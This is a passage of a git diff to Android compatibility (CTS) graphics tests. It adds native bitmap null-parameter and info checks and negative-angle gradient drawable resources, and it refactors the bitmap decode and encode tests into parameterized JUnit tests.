void* pixels = nullptr;
int err = AndroidBitmap_lockPixels(env, jbitmap, &pixels);
ASSERT_EQ(err, ANDROID_BITMAP_RESULT_JNI_EXCEPTION);
@@ -79,14 +79,51 @@
return info.format;
}
+static void testNullBitmap(JNIEnv* env, jclass) {
+ ASSERT_NE(nullptr, env);
+ AndroidBitmapInfo info;
+ int err = AndroidBitmap_getInfo(env, nullptr, &info);
+ ASSERT_EQ(err, ANDROID_BITMAP_RESULT_BAD_PARAMETER);
+
+ void* pixels = nullptr;
+ err = AndroidBitmap_lockPixels(env, nullptr, &pixels);
+ ASSERT_EQ(err, ANDROID_BITMAP_RESULT_BAD_PARAMETER);
+
+ err = AndroidBitmap_unlockPixels(env, nullptr);
+ ASSERT_EQ(err, ANDROID_BITMAP_RESULT_BAD_PARAMETER);
+}
+
+static void testInfo(JNIEnv* env, jclass, jobject jbitmap, jint androidBitmapFormat,
+ jint width, jint height, jboolean hasAlpha, jboolean premultiplied) {
+ AndroidBitmapInfo info;
+ int err = AndroidBitmap_getInfo(env, jbitmap, &info);
+ ASSERT_EQ(err, ANDROID_BITMAP_RESULT_SUCCESS);
+
+ ASSERT_EQ(androidBitmapFormat, info.format);
+ ASSERT_EQ(width, info.width);
+ ASSERT_EQ(height, info.height);
+
+ int ndkAlpha = (info.flags << ANDROID_BITMAP_FLAGS_ALPHA_SHIFT)
+ & ANDROID_BITMAP_FLAGS_ALPHA_MASK;
+ if (!hasAlpha) {
+ ASSERT_EQ(ndkAlpha, ANDROID_BITMAP_FLAGS_ALPHA_OPAQUE);
+ } else if (premultiplied) {
+ ASSERT_EQ(ndkAlpha, ANDROID_BITMAP_FLAGS_ALPHA_PREMUL);
+ } else {
+ ASSERT_EQ(ndkAlpha, ANDROID_BITMAP_FLAGS_ALPHA_UNPREMUL);
+ }
+}
+
static JNINativeMethod gMethods[] = {
{ "nValidateBitmapInfo", "(Landroid/graphics/Bitmap;IIZ)V",
(void*) validateBitmapInfo },
- { "nValidateNdkAccessAfterRecycle", "(Landroid/graphics/Bitmap;)V",
- (void*) validateNdkAccessAfterRecycle },
+ { "nValidateNdkAccessFails", "(Landroid/graphics/Bitmap;)V",
+ (void*) validateNdkAccessFails },
{ "nFillRgbaHwBuffer", "(Landroid/hardware/HardwareBuffer;)V",
(void*) fillRgbaHardwareBuffer },
{ "nGetFormat", "(Landroid/graphics/Bitmap;)I", (void*) getFormat },
+ { "nTestNullBitmap", "()V", (void*) testNullBitmap },
+ { "nTestInfo", "(Landroid/graphics/Bitmap;IIIZZ)V", (void*) testInfo },
};
int register_android_graphics_cts_BitmapTest(JNIEnv* env) {
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
index e3be1d1..e67fce8 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
index ce18075..8a48104 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
index f991189..2145eec 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
index f2798b4..5428052 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
index aee71ec..70ee76a 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
index a879e3c..0a195a8 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_135.xml b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_135.xml
new file mode 100644
index 0000000..f905522
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_135.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+ android:opticalInsetLeft="1px"
+ android:opticalInsetTop="2px"
+ android:opticalInsetRight="3px"
+ android:opticalInsetBottom="4px">
+ <gradient android:startColor="#ffffffff" android:centerColor="#ffff0000"
+ android:endColor="#0000ffff" android:angle="-135"/>
+</shape>
+
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_180.xml b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_180.xml
new file mode 100644
index 0000000..aad2d56
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_180.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+ android:opticalInsetLeft="1px"
+ android:opticalInsetTop="2px"
+ android:opticalInsetRight="3px"
+ android:opticalInsetBottom="4px">
+ <gradient android:startColor="#ffffffff" android:centerColor="#ffff0000"
+ android:endColor="#0000ffff" android:angle="-180"/>
+</shape>
+
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_225.xml b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_225.xml
new file mode 100644
index 0000000..0165b8c
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_225.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+ android:opticalInsetLeft="1px"
+ android:opticalInsetTop="2px"
+ android:opticalInsetRight="3px"
+ android:opticalInsetBottom="4px">
+ <gradient android:startColor="#ffffffff" android:centerColor="#ffff0000"
+ android:endColor="#0000ffff" android:angle="-225"/>
+</shape>
+
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_270.xml b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_270.xml
new file mode 100644
index 0000000..df440f1
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_270.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+ android:opticalInsetLeft="1px"
+ android:opticalInsetTop="2px"
+ android:opticalInsetRight="3px"
+ android:opticalInsetBottom="4px">
+ <gradient android:startColor="#ffffffff" android:centerColor="#ffff0000"
+ android:endColor="#0000ffff" android:angle="-270"/>
+</shape>
+
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_315.xml b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_315.xml
new file mode 100644
index 0000000..a7ca0bc
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_315.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+ android:opticalInsetLeft="1px"
+ android:opticalInsetTop="2px"
+ android:opticalInsetRight="3px"
+ android:opticalInsetBottom="4px">
+ <gradient android:startColor="#ffffffff" android:centerColor="#ffff0000"
+ android:endColor="#0000ffff" android:angle="-315"/>
+</shape>
+
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_360.xml b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_360.xml
new file mode 100644
index 0000000..410a5bb
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_360.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+ android:opticalInsetLeft="1px"
+ android:opticalInsetTop="2px"
+ android:opticalInsetRight="3px"
+ android:opticalInsetBottom="4px">
+ <gradient android:startColor="#ffffffff" android:centerColor="#ffff0000"
+ android:endColor="#0000ffff" android:angle="-360"/>
+</shape>
+
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_45.xml b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_45.xml
new file mode 100644
index 0000000..17ceb2f
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_45.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+ android:opticalInsetLeft="1px"
+ android:opticalInsetTop="2px"
+ android:opticalInsetRight="3px"
+ android:opticalInsetBottom="4px">
+ <gradient android:startColor="#ffffffff" android:centerColor="#ffff0000"
+ android:endColor="#0000ffff" android:angle="-45"/>
+</shape>
+
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_90.xml b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_90.xml
new file mode 100644
index 0000000..a74b2e3
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_90.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+ android:opticalInsetLeft="1px"
+ android:opticalInsetTop="2px"
+ android:opticalInsetRight="3px"
+ android:opticalInsetBottom="4px">
+ <gradient android:startColor="#ffffffff" android:centerColor="#ffff0000"
+ android:endColor="#0000ffff" android:angle="-90"/>
+</shape>
+
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_no_angle.xml b/tests/tests/graphics/res/drawable/gradientdrawable_no_angle.xml
new file mode 100644
index 0000000..de316cf
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_no_angle.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+ android:shape="rectangle">
+ <gradient
+ android:endColor="#00ff00"
+ android:startColor="#ff0000"
+ android:type="linear" />
+</shape>
diff --git a/tests/tests/graphics/res/values/styles.xml b/tests/tests/graphics/res/values/styles.xml
index 9a9bb55..7e05f0a 100644
--- a/tests/tests/graphics/res/values/styles.xml
+++ b/tests/tests/graphics/res/values/styles.xml
@@ -195,8 +195,4 @@
<item name="android:windowAnimationStyle">@null</item>
</style>
- <style name="Theme_NoSwipeDismiss">
- <item name="android:windowSwipeToDismiss">false</item>
- </style>
-
</resources>
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapColorSpaceTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapColorSpaceTest.java
index fa2cfda..93d3d8d 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapColorSpaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapColorSpaceTest.java
@@ -39,7 +39,6 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.filters.RequiresDevice;
import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.ColorUtils;
@@ -54,8 +53,11 @@
import java.nio.IntBuffer;
import java.util.Arrays;
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+
@SmallTest
-@RunWith(AndroidJUnit4.class)
+@RunWith(JUnitParamsRunner.class)
public class BitmapColorSpaceTest {
private static final String LOG_TAG = "BitmapColorSpaceTest";
@@ -1036,8 +1038,13 @@
assertTrue(pass);
}
+ private Object[] compressFormats() {
+ return Bitmap.CompressFormat.values();
+ }
+
@Test
- public void testEncodeP3() {
+ @Parameters(method = "compressFormats")
+ public void testEncodeP3(Bitmap.CompressFormat format) {
Bitmap b = null;
ImageDecoder.Source src = ImageDecoder.createSource(mResources.getAssets(),
"blue-16bit-srgb.png");
@@ -1051,24 +1058,18 @@
fail("Failed with " + e);
}
- for (Bitmap.CompressFormat format : new Bitmap.CompressFormat[] {
- Bitmap.CompressFormat.JPEG,
- Bitmap.CompressFormat.WEBP,
- Bitmap.CompressFormat.PNG,
- }) {
- ByteArrayOutputStream out = new ByteArrayOutputStream();
- assertTrue("Failed to encode F16 to " + format, b.compress(format, 100, out));
+ ByteArrayOutputStream out = new ByteArrayOutputStream();
+ assertTrue("Failed to encode F16 to " + format, b.compress(format, 100, out));
- byte[] array = out.toByteArray();
- src = ImageDecoder.createSource(ByteBuffer.wrap(array));
+ byte[] array = out.toByteArray();
+ src = ImageDecoder.createSource(ByteBuffer.wrap(array));
- try {
- Bitmap b2 = ImageDecoder.decodeBitmap(src);
- assertEquals("Wrong color space for " + format,
- ColorSpace.get(ColorSpace.Named.DISPLAY_P3), b2.getColorSpace());
- } catch (IOException e) {
- fail("Failed with " + e);
- }
+ try {
+ Bitmap b2 = ImageDecoder.decodeBitmap(src);
+ assertEquals("Wrong color space for " + format,
+ ColorSpace.get(ColorSpace.Named.DISPLAY_P3), b2.getColorSpace());
+ } catch (IOException e) {
+ fail("Failed with " + e);
}
}
@@ -1088,11 +1089,7 @@
fail("Failed with " + e);
}
- for (Bitmap.CompressFormat format : new Bitmap.CompressFormat[] {
- Bitmap.CompressFormat.JPEG,
- Bitmap.CompressFormat.WEBP,
- Bitmap.CompressFormat.PNG,
- }) {
+ for (Bitmap.CompressFormat format : Bitmap.CompressFormat.values()) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
assertTrue("Failed to encode 8888 to " + format, b.compress(format, 100, out));
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
index b507bf9..959aeef 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
@@ -36,6 +36,7 @@
import android.graphics.Rect;
import android.os.Parcel;
import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.LargeTest;
import android.system.ErrnoException;
import android.system.Os;
import android.util.DisplayMetrics;
@@ -43,8 +44,8 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.BitmapUtils;
import com.android.compatibility.common.util.CddTest;
import org.junit.Before;
@@ -61,29 +62,36 @@
import java.io.RandomAccessFile;
import java.util.concurrent.CountDownLatch;
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+
@SmallTest
-@RunWith(AndroidJUnit4.class)
+@RunWith(JUnitParamsRunner.class)
public class BitmapFactoryTest {
// height and width of start.jpg
private static final int START_HEIGHT = 31;
private static final int START_WIDTH = 31;
- // The test images, including baseline JPEG, a PNG, a GIF, a BMP AND a WEBP.
- private static final int[] RES_IDS = new int[] {
- R.drawable.baseline_jpeg, R.drawable.png_test, R.drawable.gif_test,
- R.drawable.bmp_test, R.drawable.webp_test
- };
+ static class TestImage {
+ TestImage(int id, int width, int height) {
+ this.id = id;
+ this.width = width;
+ this.height = height;
+ }
+ public final int id;
+ public final int width;
+ public final int height;
+ }
- // The width and height of the above image.
- private static final int WIDTHS[] = new int[] { 1280, 640, 320, 320, 640 };
- private static final int HEIGHTS[] = new int[] { 960, 480, 240, 240, 480 };
-
- // Configurations for BitmapFactory.Options
- private static final Config[] COLOR_CONFIGS = new Config[] {Config.ARGB_8888, Config.RGB_565};
- private static final int[] COLOR_TOLS = new int[] {16, 49, 576};
-
- private static final Config[] COLOR_CONFIGS_RGBA = new Config[] {Config.ARGB_8888};
- private static final int[] COLOR_TOLS_RGBA = new int[] {72, 124};
+ private Object[] testImages() {
+ return new Object[] {
+ new TestImage(R.drawable.baseline_jpeg, 1280, 960),
+ new TestImage(R.drawable.png_test, 640, 480),
+ new TestImage(R.drawable.gif_test, 320, 240),
+ new TestImage(R.drawable.bmp_test, 320, 240),
+ new TestImage(R.drawable.webp_test, 640, 480),
+ };
+ }
private static final int[] RAW_COLORS = new int[] {
// raw data from R.drawable.premul_data
@@ -206,88 +214,102 @@
}
@Test
- public void testDecodeStream3() {
- for (int i = 0; i < RES_IDS.length; ++i) {
- InputStream is = obtainInputStream(RES_IDS[i]);
- Bitmap b = BitmapFactory.decodeStream(is);
- assertNotNull(b);
- // Test the bitmap size
- assertEquals(WIDTHS[i], b.getWidth());
- assertEquals(HEIGHTS[i], b.getHeight());
- }
+ @Parameters(method = "testImages")
+ public void testDecodeStream3(TestImage testImage) {
+ InputStream is = obtainInputStream(testImage.id);
+ Bitmap b = BitmapFactory.decodeStream(is);
+ assertNotNull(b);
+ // Test the bitmap size
+ assertEquals(testImage.width, b.getWidth());
+ assertEquals(testImage.height, b.getHeight());
+ }
+
+ private Object[] paramsForWebpDecodeEncode() {
+ return new Object[] {
+ new Object[] {Config.ARGB_8888, 16},
+ new Object[] {Config.RGB_565, 49}
+ };
+ }
+
+ private Bitmap decodeOpaqueImage(int resId, BitmapFactory.Options options) {
+ return decodeOpaqueImage(obtainInputStream(resId), options);
+ }
+
+ private Bitmap decodeOpaqueImage(InputStream stream, BitmapFactory.Options options) {
+ Bitmap bitmap = BitmapFactory.decodeStream(stream, null, options);
+ assertNotNull(bitmap);
+ assertFalse(bitmap.isPremultiplied());
+ assertFalse(bitmap.hasAlpha());
+ return bitmap;
}
@Test
- public void testDecodeStream4() {
+ @Parameters(method = "paramsForWebpDecodeEncode")
+ public void testWebpStreamDecode(Config config, int tolerance) {
BitmapFactory.Options options = new BitmapFactory.Options();
- for (int k = 0; k < COLOR_CONFIGS.length; ++k) {
- options.inPreferredConfig = COLOR_CONFIGS[k];
+ options.inPreferredConfig = config;
- // Decode the PNG & WebP test images. The WebP test image has been encoded from PNG test
- // image and should have same similar (within some error-tolerance) Bitmap data.
- InputStream iStreamPng = obtainInputStream(R.drawable.png_test);
- Bitmap bPng = BitmapFactory.decodeStream(iStreamPng, null, options);
- assertNotNull(bPng);
- assertEquals(bPng.getConfig(), COLOR_CONFIGS[k]);
- assertFalse(bPng.isPremultiplied());
- assertFalse(bPng.hasAlpha());
+ // Decode the PNG & WebP test images. The WebP test image has been encoded from PNG test
+ // image and should have same similar (within some error-tolerance) Bitmap data.
+ Bitmap bPng = decodeOpaqueImage(R.drawable.png_test, options);
+ assertEquals(bPng.getConfig(), config);
+ Bitmap bWebp = decodeOpaqueImage(R.drawable.webp_test, options);
+ BitmapUtils.assertBitmapsMse(bPng, bWebp, tolerance, true, bPng.isPremultiplied());
+ }
- InputStream iStreamWebp1 = obtainInputStream(R.drawable.webp_test);
- Bitmap bWebp1 = BitmapFactory.decodeStream(iStreamWebp1, null, options);
- assertNotNull(bWebp1);
- assertFalse(bWebp1.isPremultiplied());
- assertFalse(bWebp1.hasAlpha());
- compareBitmaps(bPng, bWebp1, COLOR_TOLS[k], true, bPng.isPremultiplied());
+ @Test
+ @Parameters(method = "paramsForWebpDecodeEncode")
+ public void testWebpStreamEncode(Config config, int tolerance) {
+ BitmapFactory.Options options = new BitmapFactory.Options();
+ options.inPreferredConfig = config;
- // Compress the PNG image to WebP format (Quality=90) and decode it back.
- // This will test end-to-end WebP encoding and decoding.
- ByteArrayOutputStream oStreamWebp = new ByteArrayOutputStream();
- assertTrue(bPng.compress(CompressFormat.WEBP, 90, oStreamWebp));
- InputStream iStreamWebp2 = new ByteArrayInputStream(oStreamWebp.toByteArray());
- Bitmap bWebp2 = BitmapFactory.decodeStream(iStreamWebp2, null, options);
- assertNotNull(bWebp2);
- assertFalse(bWebp2.isPremultiplied());
- assertFalse(bWebp2.hasAlpha());
- compareBitmaps(bPng, bWebp2, COLOR_TOLS[k], true, bPng.isPremultiplied());
- }
+ Bitmap bPng = decodeOpaqueImage(R.drawable.png_test, options);
+ assertEquals(bPng.getConfig(), config);
+
+ // Compress the PNG image to WebP format (Quality=90) and decode it back.
+ // This will test end-to-end WebP encoding and decoding.
+ ByteArrayOutputStream oStreamWebp = new ByteArrayOutputStream();
+ assertTrue(bPng.compress(CompressFormat.WEBP, 90, oStreamWebp));
+ InputStream iStreamWebp = new ByteArrayInputStream(oStreamWebp.toByteArray());
+ Bitmap bWebp2 = decodeOpaqueImage(iStreamWebp, options);
+ BitmapUtils.assertBitmapsMse(bPng, bWebp2, tolerance, true, bPng.isPremultiplied());
}
@Test
public void testDecodeStream5() {
+ final int tolerance = 72;
BitmapFactory.Options options = new BitmapFactory.Options();
- for (int k = 0; k < COLOR_CONFIGS_RGBA.length; ++k) {
- options.inPreferredConfig = COLOR_CONFIGS_RGBA[k];
+ options.inPreferredConfig = Config.ARGB_8888;
- // Decode the PNG & WebP (google_logo) images. The WebP image has
- // been encoded from PNG image.
- InputStream iStreamPng = obtainInputStream(R.drawable.google_logo_1);
- Bitmap bPng = BitmapFactory.decodeStream(iStreamPng, null, options);
- assertNotNull(bPng);
- assertEquals(bPng.getConfig(), COLOR_CONFIGS_RGBA[k]);
- assertTrue(bPng.isPremultiplied());
- assertTrue(bPng.hasAlpha());
+ // Decode the PNG & WebP (google_logo) images. The WebP image has
+ // been encoded from PNG image.
+ InputStream iStreamPng = obtainInputStream(R.drawable.google_logo_1);
+ Bitmap bPng = BitmapFactory.decodeStream(iStreamPng, null, options);
+ assertNotNull(bPng);
+ assertEquals(bPng.getConfig(), Config.ARGB_8888);
+ assertTrue(bPng.isPremultiplied());
+ assertTrue(bPng.hasAlpha());
- // Decode the corresponding WebP (transparent) image (google_logo_2.webp).
- InputStream iStreamWebP1 = obtainInputStream(R.drawable.google_logo_2);
- Bitmap bWebP1 = BitmapFactory.decodeStream(iStreamWebP1, null, options);
- assertNotNull(bWebP1);
- assertEquals(bWebP1.getConfig(), COLOR_CONFIGS_RGBA[k]);
- assertTrue(bWebP1.isPremultiplied());
- assertTrue(bWebP1.hasAlpha());
- compareBitmaps(bPng, bWebP1, COLOR_TOLS_RGBA[k], true, bPng.isPremultiplied());
+ // Decode the corresponding WebP (transparent) image (google_logo_2.webp).
+ InputStream iStreamWebP1 = obtainInputStream(R.drawable.google_logo_2);
+ Bitmap bWebP1 = BitmapFactory.decodeStream(iStreamWebP1, null, options);
+ assertNotNull(bWebP1);
+ assertEquals(bWebP1.getConfig(), Config.ARGB_8888);
+ assertTrue(bWebP1.isPremultiplied());
+ assertTrue(bWebP1.hasAlpha());
+ BitmapUtils.assertBitmapsMse(bPng, bWebP1, tolerance, true, bPng.isPremultiplied());
- // Compress the PNG image to WebP format (Quality=90) and decode it back.
- // This will test end-to-end WebP encoding and decoding.
- ByteArrayOutputStream oStreamWebp = new ByteArrayOutputStream();
- assertTrue(bPng.compress(CompressFormat.WEBP, 90, oStreamWebp));
- InputStream iStreamWebp2 = new ByteArrayInputStream(oStreamWebp.toByteArray());
- Bitmap bWebP2 = BitmapFactory.decodeStream(iStreamWebp2, null, options);
- assertNotNull(bWebP2);
- assertEquals(bWebP2.getConfig(), COLOR_CONFIGS_RGBA[k]);
- assertTrue(bWebP2.isPremultiplied());
- assertTrue(bWebP2.hasAlpha());
- compareBitmaps(bPng, bWebP2, COLOR_TOLS_RGBA[k], true, bPng.isPremultiplied());
- }
+ // Compress the PNG image to WebP format (Quality=90) and decode it back.
+ // This will test end-to-end WebP encoding and decoding.
+ ByteArrayOutputStream oStreamWebp = new ByteArrayOutputStream();
+ assertTrue(bPng.compress(CompressFormat.WEBP, 90, oStreamWebp));
+ InputStream iStreamWebp2 = new ByteArrayInputStream(oStreamWebp.toByteArray());
+ Bitmap bWebP2 = BitmapFactory.decodeStream(iStreamWebp2, null, options);
+ assertNotNull(bWebP2);
+ assertEquals(bWebP2.getConfig(), Config.ARGB_8888);
+ assertTrue(bWebP2.isPremultiplied());
+ assertTrue(bWebP2.hasAlpha());
+ BitmapUtils.assertBitmapsMse(bPng, bWebP2, tolerance, true, bPng.isPremultiplied());
}
@Test
@@ -315,47 +337,48 @@
